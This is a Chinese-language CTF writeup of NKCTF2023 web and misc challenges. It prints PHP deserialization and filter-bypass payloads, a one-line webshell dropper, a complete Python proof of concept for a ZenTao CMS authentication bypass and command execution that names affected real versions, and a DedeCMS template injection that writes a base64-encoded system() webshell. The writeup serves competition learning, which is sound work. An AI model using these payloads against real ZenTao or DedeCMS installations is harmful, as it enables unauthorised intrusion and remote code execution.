目录

  1. 1. 前言
  2. 2. WEB
    1. 2.1. baby_php
    2. 2.2. easy_php
    3. 2.3. hard_php (复现)
    4. 2.4. easy_pms(复现)
    5. 2.5. easy_cms(待复现)
    6. 2.6. Webpagetest(复现)
    7. 2.7. xiaopi(待复现)
  3. 3. MISC
    1. 3.1. THMaster

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

NKCTF2023 Writeup(含复现)

2023/3/27 CTF线上赛
  |     |   总文章阅读量:

image-20230327161133897

前言

久违的三人组队比赛(虽然我一个人就拿下了队伍一半的分数就是了),这次的web题意外的只有php架构和模板注入的类型,但是博主做出来的几道题已经算是穷尽目前所学了。顺带一提出题人里头混进了车万人,星莲船lunatic难度很好玩,下次建议上绀珠传(

感觉得多修几个方向了,不然队伍里pwn和re没人做还是太难受了

参考:

https://www.cnblogs.com/V3g3t4ble/p/17255389.html

https://xp0int.top/posts/2023/03/27/NKCTF-2023-Writeup-By-Xp0int_m1n1/

web后四题的题目环境:https://github.com/seizer-zyx/NKCTF_Web

WEB

baby_php

反序列化(by Y4佬)

<?php
    error_reporting(0);
    class Welcome{
        public $name;
        public $arg = 'oww!man!!';
        public function __construct(){
            $this->name = 'ItS SO CREAZY';
        }
        public function __destruct(){
            if($this->name == 'welcome_to_NKCTF'){
                echo $this->arg;	//此处可调用__toString
            }
        }
    }

    function waf($string){
        if(preg_match('/f|l|a|g|\*|\?/i', $string)){
            die("you are bad");
        }
    }
    class Happy{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            waf($cmd);
            eval($shell($cmd));
        }
    }
    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();	//此处可调用__invoke
        }
    }

    if(isset($_GET['p'])){
        unserialize($_GET['p']);
    }else{
        highlight_file(__FILE__);
    }
?>

链子:Welcome::__destruct->Hell0::__toString->Happy::__invoke

那么问题就来到怎么绕waf上

ls可以用dir /代替

<?php
error_reporting(0);
class Welcome{
    public $name;
    public $arg;
}
class Happy{
    public $shell;
    public $cmd;
}
class Hell0{
    public $func;
}
$t=new Welcome();
$t->name="welcome_to_NKCTF";
$t->arg=new Hell0();
$t->arg->func=new Happy();
$t->arg->func->shell="system";
$t->arg->func->cmd="dir /";
echo serialize($t);

得到flag在/f1ag

cat f1ag的话,由于waf匹配的是单个字符,所以这里考虑使用编码绕过

$t->arg->func->shell="strtolower";
$t->arg->func->cmd="show_source(chr(47).chr(102).chr(49).chr(97).chr(103));";

博主这里麻烦了点,使用了url编码加范围通配绕过的

easy_php

php特性

 <?php 
    highlight_file(__FILE__);
    error_reporting(0);
    if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])){// md5弱类型比较
        if((string)$_POST['c'] != (string)$_POST['d'] && sha1($_POST['c']) === sha1($_POST['d'])){ // sha1强等于
            if($_GET['e'] != 114514 && intval($_GET['e']) == 114514){ // intval()函数特性
                if(isset($_GET['NS_CTF.go'])){ //非法传参 [解析为_使后面的.不转换为_
                    if(isset($_POST['cmd'])){
                        if(!preg_match('/[0-9a-zA-Z]/i', $_POST['cmd'])){ //取反或异或
                            eval($_POST['cmd']);
                        }else{
                            die('error!!!!!!');
                        }
                    }else{
                        die('error!!!!!');
                    }
                }else{
                    die('error!!!!');
                }
            }else{
                die('error!!!');
            }
        }else{
            die('error!!');
        }
    }else{
        die('error!');
    }
?>

这题每一层都是一个php特性

先上博主自己的payload(python看个乐,真要请求还得用burpsuite)

import requests

url = 'http://5423a887-8809-4f14-99d5-046b3dea20a7.node2.yuzhian.com.cn/?a=QNKCDZO&b=s878926199a&e=114514.1&NS[CTF.go=1'
payload1 = {'username': 'xxxxxx', 'password': 'xxxxxx'}
payload2 = {
    'c':
    '%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1',
    'd':
    '%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1',
    'cmd':
    "(~%8F%9E%8C%8C%8B%97%8D%8A)(~%D7%D8%93%8C%D8%D6);"
}
cookie = {
    'user':
    'O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D'
}
header = {
    'User-Agent':
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0',
}

x = requests.post(url=url, data=payload2, headers=header)
if (x.status_code == 200): {print(x.text)}
else: {print(x.status_code)}

hard_php (复现)

极限RCE,与ctfshow上的极限RCE有关

<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['NKCTF'])) {
    $NK = $_POST['NKCTF'];
    if (is_string($NK)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$NK) && strlen($NK) < 105){
            eval($NK);
        }else{
            echo("hacker!!!");
        }
    }else{
        phpinfo();
    }
}
?> 

这里先执行phpinfo()可以发现disable_function禁用了大量命令执行函数,博主这里没想到怎么绕

这是大佬的做法,通过写入一句话木马来执行shell

NKCTF=$_=(_/_._)[___];$__=++$_;$_____=++$_.$__;++$_/++$_;$_=_.$_____.=++$_.++$_;$$_[_]($$_[__],$$_[___]);&_=file_put_contents&__=1.php&___=<?php eval($_GET[1]);
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}`//扫描根目录

include('/flag');

这种姿势学到了(


easy_pms(复现)

禅道cms

网上找个poc就可以打

注意因为漏洞点是把回显结果作为参数执行命令,只能带出一行回显,那么需要用base64编码base64 -w 0读取

'''
权限绕过+RCE POC 伪静态传参版
禅道系统 影响版本 安全版本
开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
'''
import requests

proxies = {
    #"http": "127.0.0.1:8080",
    #"https": "127.0.0.1:8080",
}
def check(url):
    # url="http://10.211.55.3:8008"
    url1 = url+'/misc-captcha-user.html'
    # url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
    # url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
    url3 = url + 'repo-create.html'
    url4 = url + 'repo-edit-10000-10000.html'
    headers={
        "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language":"zh-CN,zh;q=0.9",
        "Cookie":"zentaosid=0w0; lang=zh-cn; device=desktop; theme=default",
    }

    headers2 = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Cookie": "zentaosid=0w0; lang=zh-cn; device=desktop; theme=default",
        "Content-Type":"application/x-www-form-urlencoded",
        "X-Requested-With":"XMLHttpRequest",
        "Referer":url+"/repo-edit-1-0.html"
    }

    data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
    #data2 = 'SCM=Git&path=/etc&client=`ls /|base64 -w 0`'
    data2 = 'SCM=Git&path=/etc&client=`cat /flag|base64 -w 0`'
    s=requests.session()
    try:
        req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)
        req3 = s.post(url3,data=data1,proxies=proxies,timeout=5,verify=False,headers=headers2)
        req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)
        # if 'uid=' in req4.text:
        # print(url,"")
        print(req4.text)
        return True
    except Exception as e:
        print(e)
    return False
if __name__ == '__main__':
    print(check("http://localhost:88/"))

image-20240729185308907

解码得到flag


easy_cms(待复现)

/dede admin admin登录

模板管理 index.html加{dede:field name='source' runphp='yes'}base64_decode("ZmlsZV9wdXRfY29udGVudHM=")(base64_decode("MS5waHA="),base64_decode("PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs="));{/dede:field}生成一句话木马1.php

get参数1执行命令


Webpagetest(复现)

https://xz.aliyun.com/t/11798


xiaopi(待复现)

phpstudy xss + csrf组合拳rce + 登录入口绕过

https://www.cnblogs.com/V3g3t4ble/p/17092158.html


MISC

THMaster

game

打星莲船lunatic难度上2亿分

作为一个老车万直接掏出修改器打爆莲妈(x

记得开着getflag的程序

然后会发现多一个名为flag的replay

在游戏目录里找到并用记事本打开可以看到flag(真会藏啊

2023.10.4注:发现题目灵感:https://www.bilibili.com/video/BV1Jx411U7h2/